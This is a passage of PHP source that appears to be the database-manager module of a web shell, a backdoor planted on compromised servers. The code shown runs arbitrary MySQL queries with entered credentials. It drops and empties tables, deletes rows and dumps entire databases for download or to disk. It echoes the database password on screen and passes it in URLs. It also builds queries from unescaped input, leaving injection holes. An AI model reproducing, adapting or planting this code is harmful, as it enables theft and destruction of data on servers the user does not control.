2151 <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
2152
2153 if ($sql_server)
2154
2155 {
2156
2157 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
2158
2159 $err = mysql_smarterror();
2160
2161 @mysql_select_db($sql_db,$sql_sock);
2162
2163 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
2164
2165 }
2166
2167 else {$sql_sock = FALSE;}
2168
2169 echo "<b>SQL Manager:</b><br>";
2170
2171 if (!$sql_sock)
2172
2173 {
2174
2175 if (!$sql_server) {echo "NO CONNECTION";}
2176
2177 else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
2178
2179 }
2180
2181 else
2182
2183 {
2184
2185 $sqlquicklaunch = array();
2186
2187 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
2188
2189 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
2190
2191 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
2192
2193 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
2194
2195 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
2196
2197 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
2198
2199 echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
2200
2201 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
2202
2203 echo "</center>";
2204
2205 }
2206
2207 echo "</td></tr><tr>";
2208
2209 if (!$sql_sock) {?>
2210 <td width="28%" height="100" valign="top"><center><font size="5"> i </font></center>
2211 <li>If login is null, login is owner of process.<li>
2212 If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table>
2213 </td>
2214 <?php }
2215
2216 else
2217{
2218
2219 //Start left panel
2220
2221 if (!empty($sql_db))
2222 {
2223
2224 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
2225
2226 $result = mysql_list_tables($sql_db);
2227
2228 if (!$result) {echo mysql_smarterror();}
2229
2230 else
2231
2232 {
2233
2234 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
2235
2236 $c = 0;
2237
2238 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
2239
2240 if (!$c) {echo "No tables found in database.";}
2241
2242 }
2243
2244 }
2245
2246 else
2247
2248 {
2249
2250 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
2251
2252 $result = mysql_list_dbs($sql_sock);
2253
2254 if (!$result) {echo mysql_smarterror();}
2255
2256 else
2257
2258 {
2259
2260 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
2261
2262 $c = 0;
2263
2264 $dbs = "";
2265
2266 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
2267
2268 echo "<option value=\"\">Databases (".$c.")</option>";
2269
2270 echo $dbs;
2271
2272 }
2273
2274 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
2275
2276 }
2277
2278 //End left panel
2279
2280 echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
2281
2282 //Start center panel
2283
2284 $diplay = TRUE;
2285
2286 if ($sql_db)
2287
2288 {
2289
2290 if (!is_numeric($c)) {$c = 0;}
2291
2292 if ($c == 0) {$c = "no";}
2293
2294 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
2295
2296 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
2297
2298 echo "</b></center>";
2299
2300 $acts = array("","dump");
2301
2302 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2303
2304 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
2305
2306 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
2307
2308 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2309
2310 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2311
2312 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2313
2314 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
2315
2316 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
2317
2318 elseif ($sql_tbl_act == "insert")
2319
2320 {
2321
2322 if ($sql_tbl_insert_radio == 1)
2323
2324 {
2325
2326 $keys = "";
2327
2328 $akeys = array_keys($sql_tbl_insert);
2329
2330 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
2331
2332 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
2333
2334 $values = "";
2335
2336 $i = 0;
2337
2338 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
2339
2340 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
2341
2342 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
2343
2344 $sql_act = "query";
2345
2346 $sql_tbl_act = "browse";
2347
2348 }
2349
2350 elseif ($sql_tbl_insert_radio == 2)
2351
2352 {
2353
2354 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
2355
2356 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
2357
2358 $result = mysql_query($sql_query) or print(mysql_smarterror());
2359
2360 $result = mysql_fetch_array($result, MYSQL_ASSOC);
2361
2362 $sql_act = "query";
2363
2364 $sql_tbl_act = "browse";
2365
2366 }
2367
2368 }
2369
2370 if ($sql_act == "query")
2371
2372 {
2373
2374 echo "<hr size=\"1\" noshade>";
2375
2376 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
2377
2378 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
2379
2380 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
2381
2382 }
2383
2384 if (in_array($sql_act,$acts))
2385
2386 {
2387
2388 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
2389
2390 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
2391
2392 if ($sql_act == "newtbl")
2393
2394 {
2395
2396 echo "<b>";
2397
2398 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
2399
2400 }
2401
2402 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
2403
2404 }
2405
2406 elseif ($sql_act == "dump")
2407
2408 {
2409
2410 if (empty($submit))
2411
2412 {
2413
2414 $diplay = FALSE;
2415
2416 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
2417
2418 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
2419
2420 $v = join (";",$dmptbls);
2421
2422 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
2423
2424 if ($dump_file) {$tmp = $dump_file;}
2425
2426 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
2427
2428 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
2429
2430 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
2431
2432 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
2433
2434 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
2435
2436 echo "</form>";
2437
2438 }
2439
2440 else
2441
2442 {
2443
2444 $diplay = TRUE;
2445
2446 $set = array();
2447
2448 $set["sock"] = $sql_sock;
2449
2450 $set["db"] = $sql_db;
2451
2452 $dump_out = "download";
2453
2454 $set["print"] = 0;
2455
2456 $set["nl2br"] = 0;
2457
2458 $set[""] = 0;
2459
2460 $set["file"] = $dump_file;
2461
2462 $set["add_drop"] = TRUE;
2463
2464 $set["onlytabs"] = array();
2465
2466 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
2467
2468 $ret = mysql_dump($set);
2469
2470 if ($sql_dump_download)
2471
2472 {
2473
2474 @ob_clean();
2475
2476 header("Content-type: application/octet-stream");
2477
2478 header("Content-length: ".strlen($ret));
2479
2480 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
2481
2482 echo $ret;
2483
2484 exit;
2485
2486 }
2487
2488 elseif ($sql_dump_savetofile)
2489
2490 {
2491
2492 $fp = fopen($sql_dump_file,"w");
2493
2494 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
2495
2496 else
2497
2498 {
2499
2500 fwrite($fp,$ret);
2501
2502 fclose($fp);
2503
2504 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
2505
2506 }
2507
2508 }
2509
2510 else {echo "<b>Dump: nothing to do!</b>";}
2511
2512 }
2513
2514 }
2515
2516 if ($diplay)
2517
2518 {
2519
2520 if (!empty($sql_tbl))
2521
2522 {
2523
2524 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
2525
2526 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
2527
2528 $count_row = mysql_fetch_array($count);
2529
2530 mysql_free_result($count);
2531
2532 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
2533
2534 $tbl_struct_fields = array();
2535
2536 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
2537
2538 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
2539
2540 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
2541
2542 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
2543
2544 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
2545
2546 $perpage = $sql_tbl_le - $sql_tbl_ls;
2547
2548 if (!is_numeric($perpage)) {$perpage = 10;}
2549
2550 $numpages = $count_row[0]/$perpage;
2551
2552 $e = explode(" ",$sql_order);
2553
2554 if (count($e) == 2)
2555
2556 {
2557
2558 if ($e[0] == "d") {$asc_desc = "DESC";}
2559
2560 else {$asc_desc = "ASC";}
2561
2562 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
2563
2564 }
2565
2566 else {$v = "";}
2567
2568 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
2569
2570 $result = mysql_query($query) or print(mysql_smarterror());
2571
2572 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
2573
2574 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> ";
2575
2576 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> ";
2577
2578 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> ";
2579
2580 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
2581
2582 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
2583
2584 if ($sql_tbl_act == "insert")
2585
2586 {
2587
2588 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
2589
2590 if (!empty($sql_tbl_insert_radio))
2591
2592 {
2593
2594
2595
2596 }
2597
2598 else
2599
2600 {
2601
2602 echo "<br><br><b>Inserting row into table:</b><br>";
2603
2604 if (!empty($sql_tbl_insert_q))
2605
2606 {
2607
2608 $sql_query = "SELECT * FROM `".$sql_tbl."`";
2609
2610 $sql_query .= " WHERE".$sql_tbl_insert_q;
2611
2612 $sql_query .= " LIMIT 1;";
2613
2614 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
2615
2616 $values = mysql_fetch_assoc($result);
2617
2618 mysql_free_result($result);
2619
2620 }
2621
2622 else {$values = array();}
2623
2624 echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
2625
2626 foreach ($tbl_struct_fields as $field)
2627
2628 {
2629
2630 $name = $field["Field"];
2631
2632 if (empty($sql_tbl_insert_q)) {$v = "";}
2633
2634 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
2635
2636 $i++;
2637
2638 }
2639
2640 echo "</table><br>";
2641
2642 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
2643
2644 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
2645
2646 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
2647
2648 }
2649
2650 }
2651
2652 if ($sql_tbl_act == "browse")
2653
2654 {
2655
2656 $sql_tbl_ls = abs($sql_tbl_ls);
2657
2658 $sql_tbl_le = abs($sql_tbl_le);
2659
2660 echo "<hr size=\"1\" noshade>";
2661
2662 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
2663
2664 $b = 0;
2665
2666 for($i=0;$i<$numpages;$i++)
2667
2668 {
2669
2670 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
2671
2672 echo $i;
2673
2674 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
2675
2676 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
2677
2678 else {echo " ";}
2679
2680 }
2681
2682 if ($i == 0) {echo "empty";}
2683
2684 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
2685
2686 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>";
2687
2688 echo "<tr>";
2689
2690 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
2691
2692 for ($i=0;$i<mysql_num_fields($result);$i++)
2693
2694 {
2695
2696 $v = mysql_field_name($result,$i);
2697
2698 if ($e[0] == "a") {$s = "d"; $m = "asc";}
2699
2700 else {$s = "a"; $m = "desc";}
2701
2702 echo "<td>";
2703
2704 if (empty($e[0])) {$e[0] = "a";}
2705
2706 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
2707
2708 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
2709
2710 echo "</td>";
2711
2712 }
2713
2714 echo "<td><font color=\"green\"><b>Action</b></font></td>";
2715
2716 echo "</tr>";
2717
2718 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2719
2720 {
2721
2722 echo "<tr>";
2723
2724 $w = "";
2725
2726 $i = 0;
2727
2728 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
2729
2730 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
2731
2732 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
2733
2734 $i = 0;
2735
2736 foreach ($row as $k=>$v)
2737
2738 {
2739
2740 $v = htmlspecialchars($v);
2741
2742 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
2743
2744 echo "<td>".$v."</td>";
2745
2746 $i++;
2747
2748 }
2749
2750 echo "<td>";
2751
2752 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
2753
2754 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
2755
2756 echo "</td>";
2757
2758 echo "</tr>";
2759
2760 }
2761
2762 mysql_free_result($result);
2763
2764 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
2765
2766 echo "<option value=\"\">With selected:</option>";
2767
2768 echo "<option value=\"deleterow\">Delete</option>";
2769
2770 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2771
2772 }
2773
2774 }
2775
2776 else
2777
2778 {
2779
2780 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
2781
2782 if (!$result) {echo mysql_smarterror();}
2783
2784 else
2785
2786 {
2787
2788 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
2789
2790
2791
2792 $i = 0;
2793
2794 $tsize = $trows = 0;
2795
2796 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2797
2798 {
2799
2800 $tsize += $row["Data_length"];
2801
2802 $trows += $row["Rows"];
2803
2804 $size = view_size($row["Data_length"]);
2805
2806 echo "<tr>";
2807
2808 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
2809
2810 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
2811
2812 echo "<td>".$row["Rows"]."</td>";
2813
2814 echo "<td>".$row["Type"]."</td>";
2815
2816 echo "<td>".$row["Create_time"]."</td>";
2817
2818 echo "<td>".$row["Update_time"]."</td>";
2819
2820 echo "<td>".$size."</td>";
2821
2822 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
2823
2824 echo "</tr>";
2825
2826 $i++;
2827
2828 }
2829
